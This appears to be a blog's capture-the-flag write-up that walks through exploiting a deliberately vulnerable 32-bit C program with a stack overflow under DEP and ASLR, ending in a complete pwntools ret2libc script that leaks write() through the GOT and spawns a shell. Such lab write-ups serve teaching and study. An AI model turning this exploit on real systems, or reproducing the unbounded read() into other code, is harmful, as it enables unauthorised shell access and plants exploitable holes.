因为工作性质,导致有些内容无法更新到博客上,但是久了不写感觉又不好,所以从今天起恢复博客的记录,顺便把之前本地记录的一些博客整理后补上来。

接下来几篇都会和CTF相关.

链接:

本题开启了DEP和ASLR,需要先泄露libc的地址以求出system()和/bin/sh的实际地址

Vulnerable app with DEP and ASLR

Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

Generate app with DEP

1
gcc -fno-stack-protector -o level2 level2.c

checksec:

checksec

Open ASLR on Linux

1
echo 2 > /proc/sys/kernel/randomize_va_space

Vulnerability

The app can read 256 bytes into the buf but buf only has 128 bytes space. Stack overflow

Note:

  • Because of the DEP, we can’t execute our shellcode which locates on the stack.
  • Because of the ASLR, we can’t use a static libc address to find or call system()

Exploit

  1. We need to know the padding between buf and return address.
  2. The app called write() in main() so we can use it to leak the libc address.
  3. When we get the absolutely address of write(), we can get the libc base address too
    1. libc_base_address = write_address - write_offset
  4. Use libc_base_address get the address of system() and /bin/sh
    1. system() = write_address - (write_offset - system_offset)
    2. /bin/sh = write_address - (write_offset - /bin/sh_offset)
  5. Run the app again and generate an legal shellcode to pwn it.

1、The first step: get padding between buf and return address:

1
gdb -q level2

Generate 300 random alphas with pwndbg which in gdb:

1
cyclic 300

Then input r to run

cycli

Paste 300 bytes and the app will crash on 0x6261616b.Use cyclic to get the padding.

1
cyclic -l 0x6261616b

https://raw.githubusercontent.com/CytQ/BlogImgs/master/ctf_1/cylic_l.png

So the padding is 140 bytes.

Now we should generate shellcode to call write() so that we can system() address and /bin/sh address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
libc = ELF('libc.so')
elf = ELF('level2')

p = process('./level2')

plt_write = elf.symbols['write']
got_write = elf.got['write']
vulfun_addr = elf.symbols['vulnerable_function']

# vulfun_addr is the return address of write(). write(1,'write_got',4) 4代表输出4个字节,write_got则为要泄露的地址
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr)+p32(1) +p32(got_w rite) + p32(4)

p.send(payload1)

write_addr = u32(p.recv(4))

system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))

After this, we can generate shellcode to pwn:

1
payload2 = 'a'*140  + p32(system_addr) + p32(0) + p32(binsh_addr)

Here’s the full source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!python
# coding=UTF-8

from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

p = process('./level2')

plt_write = elf.symbols['write']
got_write = elf.got['write']
vulfun_addr = elf.symbols['vulnerable_function']

#vulfun_addr is the return address of write(). write(1,'write_got',4) 4代表输出4个字节,write_got则为要泄露的地址
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr)+p32(1) +p32(got_write) + p32(4)

p.send(payload1)

write_addr = u32(p.recv(4))

system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))

payload2 = 'a'*140 + p32(system_addr) + p32(0) + p32(binsh_addr)

p.send(payload2)

p.interactive()